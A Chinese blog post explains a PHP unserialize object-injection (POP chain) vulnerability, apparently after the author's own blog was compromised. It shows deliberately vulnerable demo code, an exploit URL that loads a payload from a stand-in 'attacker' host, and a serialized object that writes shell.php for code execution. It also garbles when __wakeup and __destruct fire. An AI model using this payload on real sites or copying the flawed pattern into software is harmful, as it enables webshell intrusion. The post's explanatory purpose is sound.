五维工作室

这里是你们可以实现梦想的地方

php序列化函数unserialize对象注入漏洞(也成为pop链漏洞)

今天发现主站 https://www.tipsns.com 对应的官方博客
http://blog.tipsns.com 居然被别人黑了挂了木马,
最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:

class foo{
    private $file = "test.txt";
    private $data = "text";
    public function __destruct()
    {
        file_put_contents($this->file, $this->data);
    }
}

$filename = $_GET['filename'];
echo "Readfile filename<br/>" . PHP_EOL;
if(file_exists($filename)) {
    unserialize(file_get_contents($filename));
} else {
    echo 'no file<br/>' . PHP_EOL;
}

这段代码有三个漏洞触发条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生

比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt
包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
然后就可以通过写入的shell.php执行任意代码

添加新评论